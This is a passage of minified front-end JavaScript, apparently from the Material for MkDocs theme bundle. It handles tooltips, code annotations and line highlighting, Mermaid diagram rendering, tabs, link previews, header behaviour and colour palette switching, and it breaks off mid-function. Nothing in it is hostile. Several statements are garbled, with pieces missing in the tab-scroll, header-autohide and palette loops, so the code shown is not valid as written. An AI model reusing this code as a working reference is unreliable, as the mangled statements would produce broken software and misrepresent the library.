Va=0;function za(e,t=250){let r=z([Ke(e),nt(e,t)]).pipe(m(([n,i])=>n||i),Y()),o=$(()=>sn(e)).pipe(J(Ye),gt(1),m(()=>cn(e)));return r.pipe(Re(n=>n),b(()=>z([r,o])),m(([n,i])=>({active:n,offset:i})),le())}function Nt(e,t,r=250){let{content$:o,viewport$:n}=t,i=`__tooltip2_${Va++}`;return $(()=>{let s=new T,a=new jr(!1);s.pipe(re(),ae(!1)).subscribe(a);let c=a.pipe(jt(l=>$e(+!l*250,Dr)),Y(),b(l=>l?o:x),S(l=>l.id=i),le());z([s.pipe(m(({active:l})=>l)),c.pipe(b(l=>nt(l,250)),Q(!1))]).pipe(m(l=>l.some(f=>f))).subscribe(a);let p=a.pipe(v(l=>l),te(c,n),m(([l,f,{size:u}])=>{let d=e.getBoundingClientRect(),g=d.width/2;if(f.role==="tooltip")return{x:g,y:8+d.height};if(d.y>=u.height/2){let{height:L}=de(f);return{x:g,y:-16-L}}else return{x:g,y:16+d.height}}));return z([c,s,p]).subscribe(([l,{offset:f},u])=>{l.style.setProperty("--md-tooltip-host-x",`${f.x}px`),l.style.setProperty("--md-tooltip-host-y",`${f.y}px`),l.style.setProperty("--md-tooltip-x",`${u.x}px`),l.style.setProperty("--md-tooltip-y",`${u.y}px`),l.classList.toggle("md-tooltip2--top",u.y<0),l.classList.toggle("md-tooltip2--bottom",u.y>=0)}),a.pipe(v(l=>l),te(c,(l,f)=>f),v(l=>l.role==="tooltip")).subscribe(l=>{let f=de(F(":scope > *",l));l.style.setProperty("--md-tooltip-width",`${f.width}px`),l.style.setProperty("--md-tooltip-tail","0px")}),a.pipe(Y(),xe(ge),te(c)).subscribe(([l,f])=>{f.classList.toggle("md-tooltip2--active",l)}),z([a.pipe(v(l=>l)),c]).subscribe(([l,f])=>{f.role==="dialog"?(e.setAttribute("aria-controls",i),e.setAttribute("aria-haspopup","dialog")):e.setAttribute("aria-describedby",i)}),a.pipe(v(l=>!l)).subscribe(()=>{e.removeAttribute("aria-controls"),e.removeAttribute("aria-describedby"),e.removeAttribute("aria-haspopup")}),za(e,r).pipe(S(l=>s.next(l)),A(()=>s.complete()),m(l=>j({ref:e},l)))})}function Je(e,{viewport$:t},r=document.body){return Nt(e,{content$:new I(o=>{let n=e.title,i=_n(n);return o.next(i),e.removeAttribute("title"),r.append(i),()=>{i.remove(),e.setAttribute("title",n)}}),viewport$:t},0)}function qa(e,t){let r=$(()=>z([pn(e),Ye(t)])).pipe(m(([{x:o,y:n},i])=>{let{width:s,height:a}=de(e);return{x:o-i.x+s/2,y:n-i.y+a/2}}));return Ke(e).pipe(b(o=>r.pipe(m(n=>({active:o,offset:n})),Ee(+!o||1/0))))}function Fn(e,t,{target$:r}){let[o,n]=Array.from(e.children);return $(()=>{let i=new T,s=i.pipe(re(),ae(!0));return i.subscribe({next({offset:a}){e.style.setProperty("--md-tooltip-x",`${a.x}px`),e.style.setProperty("--md-tooltip-y",`${a.y}px`)},complete(){e.style.removeProperty("--md-tooltip-x"),e.style.removeProperty("--md-tooltip-y")}}),lt(e).pipe(W(s)).subscribe(a=>{e.toggleAttribute("data-md-visible",a)}),O(i.pipe(v(({active:a})=>a)),i.pipe(Ae(250),v(({active:a})=>!a))).subscribe({next({active:a}){a?e.prepend(o):o.remove()},complete(){e.prepend(o)}}),i.pipe(ke(16,ge)).subscribe(({active:a})=>{o.classList.toggle("md-tooltip--active",a)}),i.pipe(gt(125,ge),v(()=>!!e.offsetParent),m(()=>e.offsetParent.getBoundingClientRect()),m(({x:a})=>a)).subscribe({next(a){a?e.style.setProperty("--md-tooltip-0",`${-a}px`):e.style.removeProperty("--md-tooltip-0")},complete(){e.style.removeProperty("--md-tooltip-0")}}),h(n,"click").pipe(W(s),v(a=>!(a.metaKey||a.ctrlKey))).subscribe(a=>{a.stopPropagation(),a.preventDefault()}),h(n,"mousedown").pipe(W(s),te(i)).subscribe(([a,{active:c}])=>{var p;if(a.button!==0||a.metaKey||a.ctrlKey)a.preventDefault();else if(c){a.preventDefault();let l=e.parentElement.closest(".md-annotation");l instanceof HTMLElement?l.focus():(p=Ve())==null||p.blur()}}),r.pipe(W(s),v(a=>a===o),ot(125)).subscribe(()=>e.focus()),qa(e,t).pipe(S(a=>i.next(a)),A(()=>i.complete()),m(a=>j({ref:e},a)))})}function Ka(e){let t=Te();if(e.tagName!=="CODE")return[e];let r=[".c",".c1",".cm"];if(typeof t.annotate!="undefined"){let o=e.closest("[class|=language]");if(o)for(let n of Array.from(o.classList)){if(!n.startsWith("language-"))continue;let[,i]=n.split("-");i in t.annotate&&r.push(...t.annotate[i])}}return M(r.join(", "),e)}function Qa(e){let t=[];for(let r of Ka(e)){let o=[],n=document.createNodeIterator(r,NodeFilter.SHOW_TEXT);for(let i=n.nextNode();i;i=n.nextNode())o.push(i);for(let i of o){let s;for(;s=/(\(\d+\))(!)?/.exec(i.textContent);){let[,a,c]=s;if(typeof c=="undefined"){let p=i.splitText(s.index);i=p.splitText(a.length),t.push(p)}else{i.textContent=a,t.push(i);break}}}}return t}function jn(e,t){t.append(...Array.from(e.childNodes))}function Tr(e,t,{target$:r,print$:o}){let n=t.closest("[id]"),i=n==null?void 0:n.id,s=new Map;for(let a of Qa(t)){let[,c]=a.textContent.match(/\((\d+)\)/);ue(`:scope > li:nth-child(${c})`,e)&&(s.set(c,An(c,i)),a.replaceWith(s.get(c)))}return s.size===0?x:$(()=>{let a=new T,c=a.pipe(re(),ae(!0)),p=[];for(let[l,f]of s)p.push([F(".md-typeset",f),F(`:scope > li:nth-child(${l})`,e)]);return o.pipe(W(c)).subscribe(l=>{e.hidden=!l,e.classList.toggle("md-annotation-list",l);for(let[f,u]of p)l?jn(f,u):jn(u,f)}),O(...[...s].map(([,l])=>Fn(l,t,{target$:r}))).pipe(A(()=>a.complete()),le())})}function Un(e){if(e.nextElementSibling){let t=e.nextElementSibling;if(t.tagName==="OL")return t;if(t.tagName==="P"&&!t.children.length)return Un(t)}}function Wn(e,t){return $(()=>{let r=Un(e);return typeof r!="undefined"?Tr(r,e,t):x})}var Nn=Gt(io());var Ya=0,Dn=O(h(window,"keydown").pipe(m(()=>!0)),O(h(window,"keyup"),h(window,"contextmenu")).pipe(m(()=>!1))).pipe(Q(!1),X(1));function Vn(e){if(e.nextElementSibling){let t=e.nextElementSibling;if(t.tagName==="OL")return t;if(t.tagName==="P"&&!t.children.length)return Vn(t)}}function Ba(e){return Le(e).pipe(m(({width:t})=>({scrollable:Ct(e).width>t})),oe("scrollable"))}function zn(e,t){let{matches:r}=matchMedia("(hover)"),o=$(()=>{let n=new T,i=n.pipe(Yr(1));n.subscribe(({scrollable:d})=>{d&&r?e.setAttribute("tabindex","0"):e.removeAttribute("tabindex")});let s=[],a=e.closest("pre"),c=a.closest("[id]"),p=c?c.id:Ya++;a.id=`__code_${p}`;let l=[],f=e.closest(".highlight");if(f instanceof HTMLElement){let d=Vn(f);if(typeof d!="undefined"&&(f.classList.contains("annotate")||N("content.code.annotate"))){let g=Tr(d,e,t);l.push(Le(f).pipe(W(i),m(({width:L,height:ee})=>L&&ee),Y(),b(L=>L?g:x)))}}let u=M(":scope > span[id]",e);if(u.length&&(e.classList.add("md-code__content"),e.closest(".select")||N("content.code.select")&&!e.closest(".no-select"))){let d=+u[0].id.split("-").pop(),g=Hn();s.push(g),N("content.tooltips")&&l.push(Je(g,{viewport$}));let L=h(g,"click").pipe(Ut(R=>!R,!1),S(()=>g.blur()),le());L.subscribe(R=>{g.classList.toggle("md-code__button--active",R)});let ee=fe(u).pipe(J(R=>nt(R).pipe(m(se=>[R,se]))));L.pipe(b(R=>R?ee:x)).subscribe(([R,se])=>{let ce=ue(".hll.select",R);if(ce&&!se)ce.replaceWith(...Array.from(ce.childNodes));else if(!ce&&se){let he=document.createElement("span");he.className="hll select",he.append(...Array.from(R.childNodes).slice(1)),R.append(he)}});let ne=fe(u).pipe(J(R=>h(R,"mousedown").pipe(S(se=>se.preventDefault()),m(()=>R)))),Z=L.pipe(b(R=>R?ne:x),te(Dn),m(([R,se])=>{var he;let ce=u.indexOf(R)+d;if(se===!1)return[ce,ce];{let Se=M(".hll",e).map(je=>u.indexOf(je.parentElement)+d);return(he=window.getSelection())==null||he.removeAllRanges(),[Math.min(ce,...Se),Math.max(ce,...Se)]}})),H=Zr(x).pipe(v(R=>R.startsWith(`__codelineno-${p}-`)));H.subscribe(R=>{let[,,se]=R.split("-"),ce=se.split(":").map(Se=>+Se-d+1);ce.length===1&&ce.push(ce[0]);for(let Se of M(".hll:not(.select)",e))Se.replaceWith(...Array.from(Se.childNodes));let he=u.slice(ce[0]-1,ce[1]);for(let Se of he){let je=document.createElement("span");je.className="hll",je.append(...Array.from(Se.childNodes).slice(1)),Se.append(je)}}),H.pipe(Ee(1),xe(pe)).subscribe(R=>{if(R.includes(":")){let se=document.getElementById(R.split(":")[0]);se&&setTimeout(()=>{let ce=se,he=-64;for(;ce!==document.body;)he+=ce.offsetTop,ce=ce.offsetParent;window.scrollTo({top:he})},1)}});let Fe=fe(M('a[href^="#__codelineno"]',f)).pipe(J(R=>h(R,"click").pipe(S(se=>se.preventDefault()),m(()=>R)))).pipe(W(i),te(Dn),m(([R,se])=>{let he=+F(`[id="${R.hash.slice(1)}"]`).parentElement.id.split("-").pop();if(se===!1)return[he,he];{let Se=M(".hll",e).map(je=>+je.parentElement.id.split("-").pop());return[Math.min(he,...Se),Math.max(he,...Se)]}}));O(Z,Fe).subscribe(R=>{let se=`#__codelineno-${p}-`;R[0]===R[1]?se+=R[0]:se+=`${R[0]}:${R[1]}`,history.replaceState({},"",se),window.dispatchEvent(new HashChangeEvent("hashchange",{newURL:window.location.origin+window.location.pathname+se,oldURL:window.location.href}))})}if(Nn.default.isSupported()&&(e.closest(".copy")||N("content.code.copy")&&!e.closest(".no-copy"))){let d=Cn(a.id);s.push(d),N("content.tooltips")&&l.push(Je(d,{viewport$}))}if(s.length){let d=$n();d.append(...s),a.insertBefore(d,e)}return Ba(e).pipe(S(d=>n.next(d)),A(()=>n.complete()),m(d=>j({ref:e},d)),Ne(O(...l).pipe(W(i))))});return N("content.lazy")?lt(e).pipe(v(n=>n),Ee(1),b(()=>o)):o}function Ga(e,{target$:t,print$:r}){let o=!0;return O(t.pipe(m(n=>n.closest("details:not([open])")),v(n=>e===n),m(()=>({action:"open",reveal:!0}))),r.pipe(v(n=>n||!o),S(()=>o=e.open),m(n=>({action:n?"open":"close"}))))}function qn(e,t){return $(()=>{let r=new T;return r.subscribe(({action:o,reveal:n})=>{e.toggleAttribute("open",o==="open"),n&&e.scrollIntoView()}),Ga(e,t).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>j({ref:e},o)))})}var Kn=0;function Ja(e){let t=document.createElement("h3");t.innerHTML=e.innerHTML;let r=[t],o=e.nextElementSibling;for(;o&&!(o instanceof HTMLHeadingElement);)r.push(o),o=o.nextElementSibling;return r}function Xa(e,t){for(let r of M("[href], [src]",e))for(let o of["href","src"]){let n=r.getAttribute(o);if(n&&!/^(?:[a-z]+:)?\/\//i.test(n)){r[o]=new URL(r.getAttribute(o),t).toString();break}}for(let r of M("[name^=__], [for]",e))for(let o of["id","for","name"]){let n=r.getAttribute(o);n&&r.setAttribute(o,`${n}$preview_${Kn}`)}return Kn++,k(e)}function Qn(e,t){let{sitemap$:r}=t;if(!(e instanceof HTMLAnchorElement))return x;if(!(N("navigation.instant.preview")||e.hasAttribute("data-preview")))return x;let o=z([Ke(e),nt(e)]).pipe(m(([i,s])=>i||s),Y(),v(i=>i));return bt([r,o]).pipe(b(([i])=>{let s=new URL(e.href);return s.search=s.hash="",i.has(`${s}`)?k(s):x}),b(i=>yr(i).pipe(b(s=>Xa(s,i)))),b(i=>{let s=e.hash?`article [id="${e.hash.slice(1)}"]`:"article h1",a=ue(s,i);return typeof a=="undefined"?x:k(Ja(a))})).pipe(b(i=>{let s=new I(a=>{let c=wr(...i);return a.next(c),document.body.append(c),()=>c.remove()});return Nt(e,j({content$:s},t))}))}var Yn=".node circle,.node ellipse,.node path,.node polygon,.node rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}marker{fill:var(--md-mermaid-edge-color)!important}.edgeLabel .label rect{fill:#0000}.label{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.label foreignObject{line-height:normal;overflow:visible}.label div .edgeLabel{color:var(--md-mermaid-label-fg-color)}.edgeLabel,.edgeLabel rect,.label div .edgeLabel{background-color:var(--md-mermaid-label-bg-color)}.edgeLabel,.edgeLabel rect{fill:var(--md-mermaid-label-bg-color);color:var(--md-mermaid-edge-color)}.edgePath .path,.flowchart-link{stroke:var(--md-mermaid-edge-color);stroke-width:.05rem}.edgePath .arrowheadPath{fill:var(--md-mermaid-edge-color);stroke:none}.cluster rect{fill:var(--md-default-fg-color--lightest);stroke:var(--md-default-fg-color--lighter)}.cluster span{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}g #flowchart-circleEnd,g #flowchart-circleStart,g #flowchart-crossEnd,g #flowchart-crossStart,g #flowchart-pointEnd,g #flowchart-pointStart{stroke:none}g.classGroup line,g.classGroup rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}g.classGroup text{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.classLabel .box{fill:var(--md-mermaid-label-bg-color);background-color:var(--md-mermaid-label-bg-color);opacity:1}.classLabel .label{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.node .divider{stroke:var(--md-mermaid-node-fg-color)}.relation{stroke:var(--md-mermaid-edge-color)}.cardinality{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.cardinality text{fill:inherit!important}defs #classDiagram-compositionEnd,defs #classDiagram-compositionStart,defs #classDiagram-dependencyEnd,defs #classDiagram-dependencyStart,defs #classDiagram-extensionEnd,defs #classDiagram-extensionStart{fill:var(--md-mermaid-edge-color)!important;stroke:var(--md-mermaid-edge-color)!important}defs #classDiagram-aggregationEnd,defs #classDiagram-aggregationStart{fill:var(--md-mermaid-label-bg-color)!important;stroke:var(--md-mermaid-edge-color)!important}g.stateGroup rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}g.stateGroup .state-title{fill:var(--md-mermaid-label-fg-color)!important;font-family:var(--md-mermaid-font-family)}g.stateGroup .composit{fill:var(--md-mermaid-label-bg-color)}.nodeLabel,.nodeLabel p{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}a .nodeLabel{text-decoration:underline}.node circle.state-end,.node circle.state-start,.start-state{fill:var(--md-mermaid-edge-color);stroke:none}.end-state-inner,.end-state-outer{fill:var(--md-mermaid-edge-color)}.end-state-inner,.node circle.state-end{stroke:var(--md-mermaid-label-bg-color)}.transition{stroke:var(--md-mermaid-edge-color)}[id^=state-fork] rect,[id^=state-join] rect{fill:var(--md-mermaid-edge-color)!important;stroke:none!important}.statediagram-cluster.statediagram-cluster .inner{fill:var(--md-default-bg-color)}.statediagram-cluster rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}.statediagram-state rect.divider{fill:var(--md-default-fg-color--lightest);stroke:var(--md-default-fg-color--lighter)}defs #statediagram-barbEnd{stroke:var(--md-mermaid-edge-color)}.attributeBoxEven,.attributeBoxOdd{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}.entityBox{fill:var(--md-mermaid-label-bg-color);stroke:var(--md-mermaid-node-fg-color)}.entityLabel{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.relationshipLabelBox{fill:var(--md-mermaid-label-bg-color);fill-opacity:1;background-color:var(--md-mermaid-label-bg-color);opacity:1}.relationshipLabel{fill:var(--md-mermaid-label-fg-color)}.relationshipLine{stroke:var(--md-mermaid-edge-color)}defs #ONE_OR_MORE_END *,defs #ONE_OR_MORE_START *,defs #ONLY_ONE_END *,defs #ONLY_ONE_START *,defs #ZERO_OR_MORE_END *,defs #ZERO_OR_MORE_START *,defs #ZERO_OR_ONE_END *,defs #ZERO_OR_ONE_START *{stroke:var(--md-mermaid-edge-color)!important}defs #ZERO_OR_MORE_END circle,defs #ZERO_OR_MORE_START circle{fill:var(--md-mermaid-label-bg-color)}.actor{fill:var(--md-mermaid-sequence-actor-bg-color);stroke:var(--md-mermaid-sequence-actor-border-color)}text.actor>tspan{fill:var(--md-mermaid-sequence-actor-fg-color);font-family:var(--md-mermaid-font-family)}line{stroke:var(--md-mermaid-sequence-actor-line-color)}.actor-man circle,.actor-man line{fill:var(--md-mermaid-sequence-actorman-bg-color);stroke:var(--md-mermaid-sequence-actorman-line-color)}.messageLine0,.messageLine1{stroke:var(--md-mermaid-sequence-message-line-color)}.note{fill:var(--md-mermaid-sequence-note-bg-color);stroke:var(--md-mermaid-sequence-note-border-color)}.loopText,.loopText>tspan,.messageText,.noteText>tspan{stroke:none;font-family:var(--md-mermaid-font-family)!important}.messageText{fill:var(--md-mermaid-sequence-message-fg-color)}.loopText,.loopText>tspan{fill:var(--md-mermaid-sequence-loop-fg-color)}.noteText>tspan{fill:var(--md-mermaid-sequence-note-fg-color)}#arrowhead path{fill:var(--md-mermaid-sequence-message-line-color);stroke:none}.loopLine{fill:var(--md-mermaid-sequence-loop-bg-color);stroke:var(--md-mermaid-sequence-loop-border-color)}.labelBox{fill:var(--md-mermaid-sequence-label-bg-color);stroke:none}.labelText,.labelText>span{fill:var(--md-mermaid-sequence-label-fg-color);font-family:var(--md-mermaid-font-family)}.sequenceNumber{fill:var(--md-mermaid-sequence-number-fg-color)}rect.rect{fill:var(--md-mermaid-sequence-box-bg-color);stroke:none}rect.rect+text.text{fill:var(--md-mermaid-sequence-box-fg-color)}defs #sequencenumber{fill:var(--md-mermaid-sequence-number-bg-color)!important}";var ao,es=0;function ts(){return typeof mermaid=="undefined"||mermaid instanceof Element?At("https://unpkg.com/mermaid@10/dist/mermaid.min.js"):k(void 0)}function Bn(e){return e.classList.remove("mermaid"),ao||(ao=ts().pipe(S(()=>mermaid.initialize({startOnLoad:!1,themeCSS:Yn,sequence:{actorFontSize:"16px",messageFontSize:"16px",noteFontSize:"16px"}})),m(()=>{}),X(1))),ao.subscribe(()=>bo(this,null,function*(){e.classList.add("mermaid");let t=`__mermaid_${es++}`,r=y("div",{class:"mermaid"}),o=e.textContent,{svg:n,fn:i}=yield mermaid.render(t,o),s=r.attachShadow({mode:"closed"});s.innerHTML=n,e.replaceWith(r),i==null||i(s)})),ao.pipe(m(()=>({ref:e})))}var Gn=y("table");function Jn(e){return e.replaceWith(Gn),Gn.replaceWith(Pn(e)),k({ref:e})}function rs(e){let t=e.find(r=>r.checked)||e[0];return O(...e.map(r=>h(r,"change").pipe(m(()=>F(`label[for="${r.id}"]`))))).pipe(Q(F(`label[for="${t.id}"]`)),m(r=>({active:r})))}function Xn(e,{viewport$:t,target$:r}){let o=F(".tabbed-labels",e),n=M(":scope > input",e),i=oo("prev");e.append(i);let s=oo("next");return e.append(s),$(()=>{let a=new T,c=a.pipe(re(),ae(!0));z([a,Le(e),lt(e)]).pipe(W(c),ke(1,ge)).subscribe({next([{active:p},l]){let f=Qe(p),{width:u}=de(p);e.style.setProperty("--md-indicator-x",`${f.x}px`),e.style.setProperty("--md-indicator-width",`${u}px`);let d=gr(o);(f.xd.x+l.width)&&o.scrollTo({left:Math.max(0,f.x-16),behavior:"smooth"})},complete(){e.style.removeProperty("--md-indicator-x"),e.style.removeProperty("--md-indicator-width")}}),z([Ye(o),Le(o)]).pipe(W(c)).subscribe(([p,l])=>{let f=Ct(o);i.hidden=p.x<16,s.hidden=p.x>f.width-l.width-16}),O(h(i,"click").pipe(m(()=>-1)),h(s,"click").pipe(m(()=>1))).pipe(W(c)).subscribe(p=>{let{width:l}=de(o);o.scrollBy({left:l*p,behavior:"smooth"})}),r.pipe(W(c),v(p=>n.includes(p))).subscribe(p=>p.click()),o.classList.add("tabbed-labels--linked");for(let p of n){let l=F(`label[for="${p.id}"]`);l.replaceChildren(y("a",{href:`#${l.htmlFor}`,tabIndex:-1},...Array.from(l.childNodes))),h(l.firstElementChild,"click").pipe(W(c),v(f=>!(f.metaKey||f.ctrlKey)),S(f=>{f.preventDefault(),f.stopPropagation()})).subscribe(()=>{history.replaceState({},"",`#${l.htmlFor}`),l.click()})}return N("content.tabs.link")&&a.pipe(Pe(1),te(t)).subscribe(([{active:p},{offset:l}])=>{let f=p.innerText.trim();if(p.hasAttribute("data-md-switching"))p.removeAttribute("data-md-switching");else{let u=e.offsetTop-l.y;for(let g of M("[data-tabs]"))for(let L of M(":scope > input",g)){let ee=F(`label[for="${L.id}"]`);if(ee!==p&&ee.innerText.trim()===f){ee.setAttribute("data-md-switching",""),L.click();break}}window.scrollTo({top:e.offsetTop-u});let d=__md_get("__tabs")||[];__md_set("__tabs",[...new Set([f,...d])])}}),a.pipe(W(c)).subscribe(()=>{for(let p of M("audio, video",e))p.pause()}),rs(n).pipe(S(p=>a.next(p)),A(()=>a.complete()),m(p=>j({ref:e},p)))}).pipe(Ze(pe))}function Zn(e,t){let{viewport$:r,target$:o,print$:n}=t;return O(...M(".annotate:not(.highlight)",e).map(i=>Wn(i,{target$:o,print$:n})),...M("pre:not(.mermaid) > code",e).map(i=>zn(i,{target$:o,print$:n})),...M("a:not([title])",e).map(i=>Qn(i,t)),...M("pre.mermaid",e).map(i=>Bn(i)),...M("table:not([class])",e).map(i=>Jn(i)),...M("details",e).map(i=>qn(i,{target$:o,print$:n})),...M("[data-tabs]",e).map(i=>Xn(i,{viewport$:r,target$:o})),...M("[title]",e).filter(()=>N("content.tooltips")).map(i=>Je(i,{viewport$:r})),...M(".footnote-ref",e).filter(()=>N("content.footnote.tooltips")).map(i=>Nt(i,{content$:new I(s=>{let a=new URL(i.href).hash.slice(1),c=Array.from(document.getElementById(a).cloneNode(!0).children),p=wr(...c);return s.next(p),document.body.append(p),()=>p.remove()}),viewport$:r})))}function os(e,{alert$:t}){return t.pipe(b(r=>O(k(!0),k(!1).pipe(ot(2e3))).pipe(m(o=>({message:r,active:o})))))}function ei(e,t){let r=F(".md-typeset",e);return $(()=>{let o=new T;return o.subscribe(({message:n,active:i})=>{e.classList.toggle("md-dialog--active",i),r.textContent=n}),os(e,t).pipe(S(n=>o.next(n)),A(()=>o.complete()),m(n=>j({ref:e},n)))})}var ns=0;function is(e,t){document.body.append(e);let{width:r}=de(e);e.style.setProperty("--md-tooltip-width",`${r}px`),e.remove();let o=vr(t),n=typeof o!="undefined"?Ye(o):k({x:0,y:0}),i=O(Ke(t),nt(t)).pipe(Y());return z([i,n]).pipe(m(([s,a])=>{let{x:c,y:p}=Qe(t),l=de(t),f=t.closest("table");return f&&t.parentElement&&(c+=f.offsetLeft+t.parentElement.offsetLeft,p+=f.offsetTop+t.parentElement.offsetTop),{active:s,offset:{x:c-a.x+l.width/2-r/2,y:p-a.y+l.height+8}}}))}function ti(e){let t=e.title;if(!t.length)return x;let r=`__tooltip_${ns++}`,o=Dt(r,"inline"),n=F(".md-typeset",o);return n.innerHTML=t,$(()=>{let i=new T;return i.subscribe({next({offset:s}){o.style.setProperty("--md-tooltip-x",`${s.x}px`),o.style.setProperty("--md-tooltip-y",`${s.y}px`)},complete(){o.style.removeProperty("--md-tooltip-x"),o.style.removeProperty("--md-tooltip-y")}}),O(i.pipe(v(({active:s})=>s)),i.pipe(Ae(250),v(({active:s})=>!s))).subscribe({next({active:s}){s?(e.insertAdjacentElement("afterend",o),e.setAttribute("aria-describedby",r),e.removeAttribute("title")):(o.remove(),e.removeAttribute("aria-describedby"),e.setAttribute("title",t))},complete(){o.remove(),e.removeAttribute("aria-describedby"),e.setAttribute("title",t)}}),i.pipe(ke(16,ge)).subscribe(({active:s})=>{o.classList.toggle("md-tooltip--active",s)}),i.pipe(gt(125,ge),v(()=>!!e.offsetParent),m(()=>e.offsetParent.getBoundingClientRect()),m(({x:s})=>s)).subscribe({next(s){s?o.style.setProperty("--md-tooltip-0",`${-s}px`):o.style.removeProperty("--md-tooltip-0")},complete(){o.style.removeProperty("--md-tooltip-0")}}),is(o,e).pipe(S(s=>i.next(s)),A(()=>i.complete()),m(s=>j({ref:e},s)))}).pipe(Ze(pe))}function as({viewport$:e}){if(!N("header.autohide"))return k(!1);let t=e.pipe(m(({offset:{y:n}})=>n),tt(2,1),m(([n,i])=>[nMath.abs(i-n.y)>100),m(([,[n]])=>n),Y()),o=Be("search");return z([e,o]).pipe(m(([{offset:n},i])=>n.y>400&&!i),Y(),b(n=>n?r:k(!1)),Q(!1))}function ri(e,t){return $(()=>z([Le(e),as(t)])).pipe(m(([{height:r},o])=>({height:r,hidden:o})),Y((r,o)=>r.height===o.height&&r.hidden===o.hidden),X(1))}function oi(e,{header$:t,main$:r}){return $(()=>{let o=new T,n=o.pipe(re(),ae(!0));o.pipe(oe("active"),De(t)).subscribe(([{active:s},{hidden:a}])=>{e.classList.toggle("md-header--shadow",s&&!a),e.hidden=a});let i=fe(M("[title]",e)).pipe(v(()=>N("content.tooltips")),J(s=>ti(s)));return r.subscribe(o),t.pipe(W(n),m(s=>j({ref:e},s)),Ne(i.pipe(W(n))))})}function ss(e,{viewport$:t,header$:r}){return Er(e,{viewport$:t,header$:r}).pipe(m(({offset:{y:o}})=>{let{height:n}=de(e);return{active:o>=n}}),oe("active"))}function ni(e,t){return $(()=>{let r=new T;r.subscribe({next({active:n}){e.classList.toggle("md-header__title--active",n)},complete(){e.classList.remove("md-header__title--active")}});let o=ue(".md-content h1");return typeof o=="undefined"?x:ss(o,t).pipe(S(n=>r.next(n)),A(()=>r.complete()),m(n=>j({ref:e},n)))})}function ii(e,{viewport$:t,header$:r}){let o=r.pipe(m(({height:i})=>i),Y()),n=o.pipe(b(()=>Le(e).pipe(m(({height:i})=>({top:e.offsetTop,bottom:e.offsetTop+i})),oe("bottom"))));return z([o,n,t]).pipe(m(([i,{top:s,bottom:a},{offset:{y:c},size:{height:p}}])=>(p=Math.max(0,p-Math.max(0,s-c,i)-Math.max(0,p+c-a)),{offset:s-i,height:p,active:s-i<=c})),Y((i,s)=>i.offset===s.offset&&i.height===s.height&&i.active===s.active))}function cs(e){let t=__md_get("__palette")||{index:e.findIndex(o=>matchMedia(o.getAttribute("data-md-color-media")).matches)},r=Math.max(0,Math.min(t.index,e.length-1));return k(...e).pipe(J(o=>h(o,"change").pipe(m(()=>o))),Q(e[r]),m(o=>({index:e.indexOf(o),color:{media:o.getAttribute("data-md-color-media"),scheme:o.getAttribute("data-md-color-scheme"),primary:o.getAttribute("data-md-color-primary"),accent:o.getAttribute("data-md-color-accent")}})),X(1))}function ai(e){let t=M("input",e),r=y("meta",{name:"theme-color"});document.head.appendChild(r);let o=y("meta",{name:"color-scheme"});document.head.appendChild(o);let n=Wt("(prefers-color-scheme: light)");return $(()=>{let i=new T;return i.subscribe(s=>{if(document.body.setAttribute("data-md-color-switching",""),s.color.media==="(prefers-color-scheme)"){let a=matchMedia("(prefers-color-scheme: light)"),c=document.querySelector(a.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");s.color.scheme=c.getAttribute("data-md-color-scheme"),s.color.primary=c.getAttribute("data-md-color-primary"),s.color.accent=c.getAttribute("data-md-color-accent")}for(let[a,c]of Object.entries(s.color))document.body.setAttribute(`data-md-color-${a}`,c);for(let a=0;as.key==="Enter"),te(i,(s,a)=>a)).subscribe(({index:s})=>{s=(s+1)%t.length,t[s].click(),t[s].focus()}),i.pipe(m(()=>{let s=Ce("header"),a=window.getComputedStyle(s);return o.content=a.colorScheme,a.backgroundColor.match(/\d+/g).map(c=>(+c).toString(16).padStart(2,"0")).join("")})).subscribe(s=>r.content=`#${s}`),i.pipe(xe(pe)).subscribe(()=>{document.body.removeAttribute("data-md-color-switching")}),cs(t).pipe(W(n.pipe(Pe(1))),vt(),S(s=>i.next(s)),A(()=>i.complete()),m(s=>j({ref:e},s)))})}function si(e,{progress$:t}){return $(()=>{let r=new T;return r.subscribe(({value:o})=>{e.style.setProperty("--md-progress-value",`${o}`)}),t.pipe(S(o=>r.next({value:o})),A(()=>r.complete()),m(o=>({ref:e,value:o})))})}function ci(e,t){return e.protocol=t.protocol,e.hostname=t.hostname,e}function ps(e,t){let r=new Map;for(let o of M("url",e)){let n=F("loc",o),i=[ci(new URL(n.textContent),t)];r.set(`${i[0]}`,i);for(let s of M("[rel=alternate]",o)){let a=s.getAttribute("href");a!=null&&i.push(ci(new URL(a),t))}}return r}function $t(e){return xn(new URL("sitemap.xml",e)).pipe(m(t=>ps(t,new URL(e))),ye(()=>k(new Map)),le())}function pi({document$:e}){let t=new Map;e.pipe(b(()=>M("link[rel=alternate]")),m(r=>new URL(r.href)),v(r=>!t.has(r.toString())),J(r=>$t(r).pipe(m(o=>[r,o]),ye(()=>x)))).subscribe(([r,o])=>{t.set(r.toString().replace(/\/$/,""),o)}),h(document.body,"click").pipe(v(r=>!r.metaKey&&!r.ctrlKey),b(r=>{if(r.target instanceof Element){let o=r.target.closest("a");if(o&&!o.target){let n=[...t].find(([f])=>o.href.startsWith(`${f}/`));if(typeof n=="undefined")return x;let[i,s]=n,a=we();if(a.href.startsWith(i))return x;let c=Te(),p=a.href.replace(c.base,"");p=`${i}/${p}`;let l=s.has(p.split("#")[0])?new URL(p,c.base):new URL(i);return r.preventDefault(),k(l)}}return x})).subscribe(r=>at(r,!0))}var so=Gt(io());function ls(e){e.setAttribute("data-md-copying","");let t=e.closest("[data-copy]"),r=t?t.getAttribute("data-copy"):e.innerText;return 